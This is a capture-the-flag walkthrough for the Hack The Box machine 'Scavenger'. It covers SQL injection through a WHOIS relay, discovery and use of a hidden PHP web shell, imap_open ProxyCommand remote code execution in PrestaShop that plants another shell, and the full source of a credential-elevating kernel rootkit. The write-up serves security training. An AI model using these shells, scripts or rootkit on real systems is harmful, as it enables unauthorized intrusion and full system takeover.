This post documents the complete walkthrough of Scavenger, a retired vulnerable VM created by ompamo, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Scavenger is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535 10.10.10.155 --rate=500

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2019-08-20 06:53:31 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 53/tcp on 10.10.10.155                                    
Discovered open port 25/tcp on 10.10.10.155                                    
Discovered open port 80/tcp on 10.10.10.155                                    
Discovered open port 22/tcp on 10.10.10.155                                    
Discovered open port 43/tcp on 10.10.10.155                                    
Discovered open port 21/tcp on 10.10.10.155

Hmm, interesting list of open ports. Let’s do one better with nmap scanning the discovered ports to establish their services.

# nmap -n -v -Pn -p21,22,43,53,80 -A --reason -oN nmap.txt 10.10.10.155
...
PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 63 vsftpd 3.0.3
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.4p1 Debian 10+deb9u4 (protocol 2.0)
| ssh-hostkey:
|   2048 df:94:47:03:09:ed:8c:f7:b6:91:c5:08:b5:20:e5:bc (RSA)
|   256 e3:05:c1:c5:d1:9c:3f:91:0f:c0:35:4b:44:7f:21:9e (ECDSA)
|_  256 45:92:c0:a1:d9:5d:20:d6:eb:49:db:12:a5:70:b7:31 (ED25519)
43/tcp open  whois?  syn-ack ttl 63
| fingerprint-strings:
|   GenericLines, GetRequest, HTTPOptions, Help, RTSPRequest:
|     % SUPERSECHOSTING WHOIS server [email protected]
|     more information on SUPERSECHOSTING, visit http://www.supersechosting.htb
|     This query returned 0 object
|   SSLSessionReq, TLSSessionReq, TerminalServerCookie:
|     % SUPERSECHOSTING WHOIS server [email protected]
|     more information on SUPERSECHOSTING, visit http://www.supersechosting.htb
|_    1267 (HY000): Illegal mix of collations (utf8mb4_general_ci,IMPLICIT) and (utf8_general_ci,COERCIBLE) for operation 'like'
53/tcp open  domain  syn-ack ttl 63 ISC BIND 9.10.3-P4 (Debian Linux)
| dns-nsid:
|_  bind.version: 9.10.3-P4-Debian
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.25 ((Debian))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).

Time to explore all these information like a scavenger would. :wink:

Zone Transfer

From the nmap results, we see supersechosting.htb popping out. Maybe we can do a zone transfer on this guy?

# host -l supersechosting.htb 10.10.10.155
Using domain server:
Name: 10.10.10.155
Address: 10.10.10.155#53
Aliases:

supersechosting.htb name server ns1.supersechosting.htb.
supersechosting.htb has address 10.10.10.155
ftp.supersechosting.htb has address 10.10.10.155
mail1.supersechosting.htb has address 10.10.10.155
ns1.supersechosting.htb has address 10.10.10.155
whois.supersechosting.htb has address 10.10.10.155
www.supersechosting.htb has address 10.10.10.155

Sweet. So far so good. All the subdomains corroborates with the open ports. We’d better put them into /etc/hosts.

WHOIS

Next up, we have WHOIS. Check out this little gem.

Sure looks authentic. But, did you see the first line?

% SUPERSECHOSTING WHOIS server [email protected]

What is MariaDB doing there? If I had to guess, I would say that’s an invitation to probe for SQL injection.

# echo "supersechosting.htb'" | nc 10.10.10.155 43
% SUPERSECHOSTING WHOIS server [email protected]
% for more information on SUPERSECHOSTING, visit http://www.supersechosting.htb
1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''supersechosting.htb'') limit 1' at line 1

Oh yeah. Armed with this knowledge, I wrote a funnel of sorts in PHP and host it with Apache.

<?php

        $sock = fsockopen("10.10.10.155", 43, $errno, $errstr, 30);
        if (!$sock) {
                echo "$errstr ($errno)\n";
        } else {
                $domain = $_GET['d'];
                $domain .= "\r\n";
                fwrite($sock, $domain);
                while (!feof($sock)) {
                        echo fgets($sock);
                }
                fclose($sock);
        }

?>

Long story short, using sqlmap against http://localhost/index.php?d=supersechosting.htb yields the following.

SELECT domain from customers; [4]:
[*] justanotherblog.htb
[*] pwnhats.htb
[*] rentahacker.htb
[*] supersechosting.htb

Let’s do a zone transfer on all of them and add them to /etc/hosts.

MantisBT Owned!

While I was exploring the rentahacker.htb domain, I chanced upon an interesting comment in the blog.

Moving on to the bug tracker subdomain sec03.rentahacker.htb, I see this.

That got me thinking, “maybe the hacker left a backdoor?”.

# wfuzz -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt -t 20 --hc 404 http://sec03.rentahacker.htb/FUZZ
********************************************************
* Wfuzz 2.2.11 - The Web Fuzzer                        *
********************************************************

Target: http://sec03.rentahacker.htb/FUZZ
Total requests: 81

==================================================================
ID      Response   Lines      Word         Chars          Payload    
==================================================================

000043:  C=200      0 L        0 W            0 Ch        "shell.php"

Total time: 4.063213
Processed Requests: 81
Filtered Requests: 80
Requests/sec.: 19.93495

Indeed, but there’s no output. Perhaps we need to brute force the parameter?

# wfuzz -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -t 20 --hh 0 http://sec03.rentahacker.htb/shell.php?FUZZ=id
********************************************************
* Wfuzz 2.2.11 - The Web Fuzzer                        *
********************************************************

Target: http://sec03.rentahacker.htb/shell.php?FUZZ=id
Total requests: 2588

==================================================================
ID      Response   Lines      Word         Chars          Payload    
==================================================================

000197:  C=200      1 L        3 W           61 Ch        "hidden"

Total time: 30.90042
Processed Requests: 2588
Filtered Requests: 2587
Requests/sec.: 83.75290

Bam. There we go.

I wrote a very simple bash script to display the output in terminal instead.

ib01c03.sh
#!/bin/bash

HOST=sec03.rentahacker.htb
CMD=$(urlencode [email protected])

curl -s \
     "http://$HOST/shell.php?hidden=$CMD"

Hack the World!

During enumeration of ib01c03’s account, I saw an email responding to rentahacker.htb email about their site being defaced.

In the email, supersechosting.htb talked about working on another incident and guess what, FTP credentials to log into their FTP server.

Armed with this credential, I was able to retrieve important information about the incident happening over at pwnhats.htb (or ib01c01).

Among the information gathered by supersechosting.htb was a network packet capture. And in it lies the credentials to access PrestaShop’s back office secret URL.

Here’s the secret back office URL.

While I was exploring the back office, I noticed something strange going on at the customer service options page, particularly with the IMAP settings. A little googling brought me to this blog post. It was explaining how a vulnerability in imap_open() can be abused to gain remote code execution, and the real-life example given was PrestaShop 1.7.4.4!

Long story short, the vulnerability arises because rsh is symbolic-linked to ssh. And the IMAP URL is passed to ssh in its entirety. That’s why you see -oProxyCommand above.

Let’s do something similar like what happened to ib01c03—we echo a shell.php to the base directory.

# echo 'echo "<?php echo shell_exec(\$_GET[0]); ?>" > ../shell.php' | base64 -w0 && echo
ZWNobyAiPD9waHAgZWNobyBzaGVsbF9leGVjKFwkX0dFVFswXSk7ID8+IiA+IC4uL3NoZWxsLnBocAo=

Simply replace the original base64-string with our own. Once that’s done, we’ll re-purpose the previous bash script for ib01c01.

ib01c01.sh
#!/bin/bash

HOST=www.pwnhats.htb
CMD=$(urlencode [email protected])

curl -s \
     "http://$HOST/shell.php?0=$CMD"

The file user.txt is in ib01c01’s home directory.

Privilege Escalation

There was something else in the network packet capture that caught my attention.

root.c
#include <linux/init.h>   
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/device.h>
#include <linux/fs.h>    
#include <asm/uaccess.h>
#include <linux/slab.h>
#include <linux/syscalls.h>
#include <linux/types.h>
#include <linux/cdev.h>
#include <linux/cred.h>
#include <linux/version.h>

#define  DEVICE_NAME "ttyR0"
#define  CLASS_NAME  "ttyR"

#if LINUX_VERSION_CODE > KERNEL_VERSION(3,4,0)
#define V(x) x.val
#else
#define V(x) x
#endif

// Prototypes
static int     __init root_init(void);
static void    __exit root_exit(void);
static int     root_open  (struct inode *inode, struct file *f);
static ssize_t root_read  (struct file *f, char *buf, size_t len, loff_t *off);
static ssize_t root_write (struct file *f, const char __user *buf, size_t len, loff_t *off);

// Module info
MODULE_LICENSE("GPL");
MODULE_AUTHOR("pico");
MODULE_DESCRIPTION("Got r00t!.");
MODULE_VERSION("0.1");

static int            majorNumber;
static struct class*  rootcharClass  = NULL;
static struct device* rootcharDevice = NULL;

static struct file_operations fops =
{
  .owner = THIS_MODULE,
  .open = root_open,
  .read = root_read,
  .write = root_write,
};

static int
root_open (struct inode *inode, struct file *f)
{
   return 0;
}

static ssize_t
root_read (struct file *f, char *buf, size_t len, loff_t *off)
{
  return len;
}

static ssize_t
root_write (struct file *f, const char __user *buf, size_t len, loff_t *off)
{
  char   *data;
  char   magic[] = "g0tR0ot";

  struct cred *new_cred;

  data = (char *) kmalloc (len + 1, GFP_KERNEL);

  if (data)
    {
      copy_from_user (data, buf, len);
        if (memcmp(data, magic, 7) == 0)
   {
     if ((new_cred = prepare_creds ()) == NULL)
       {
  return 0;
       }
     V(new_cred->uid) = V(new_cred->gid) =  0;
     V(new_cred->euid) = V(new_cred->egid) = 0;
     V(new_cred->suid) = V(new_cred->sgid) = 0;
     V(new_cred->fsuid) = V(new_cred->fsgid) = 0;
     commit_creds (new_cred);
   }
        kfree(data);
      }

    return len;
}


static int __init
root_init(void)
{
  // Create char device
  if ((majorNumber = register_chrdev(0, DEVICE_NAME, &fops)) < 0)
    {
      return majorNumber;
    }

   // Register the device class
   rootcharClass = class_create(THIS_MODULE, CLASS_NAME);
   if (IS_ERR(rootcharClass))
     {
       unregister_chrdev(majorNumber, DEVICE_NAME);
       return PTR_ERR(rootcharClass);
   }

   // Register the device driver
   rootcharDevice = device_create(rootcharClass, NULL,
      MKDEV(majorNumber, 0), NULL, DEVICE_NAME);
   if (IS_ERR(rootcharDevice))
     {
       class_destroy(rootcharClass);
       unregister_chrdev(majorNumber, DEVICE_NAME);
       return PTR_ERR(rootcharDevice);
     }

    return 0;    
}

static void __exit
root_exit(void)
{
  // Destroy the device
  device_destroy(rootcharClass, MKDEV(majorNumber, 0));
  class_unregister(rootcharClass);                     
  class_destroy(rootcharClass);                        
  unregister_chrdev(majorNumber, DEVICE_NAME);     
}


module_init(root_init);
module_exit(root_exit);

The rootkit code is taken from here.

We can see that the LKM is loaded.

And the character device /dev/ttyR0 has 666 permissions.

The magic password g0tR0ot didn’t work for me though.

Maybe there’s another magic password? I copied the loaded KVM to my machine and ran it through r2.

# ./ib01c01.sh "base64 ../.../root.ko" > root.ko.b64

Looks like g3tPr1v could be the magic password. Let’s give it a shot.

With that, getting root.txt is a breeze.

:dancer: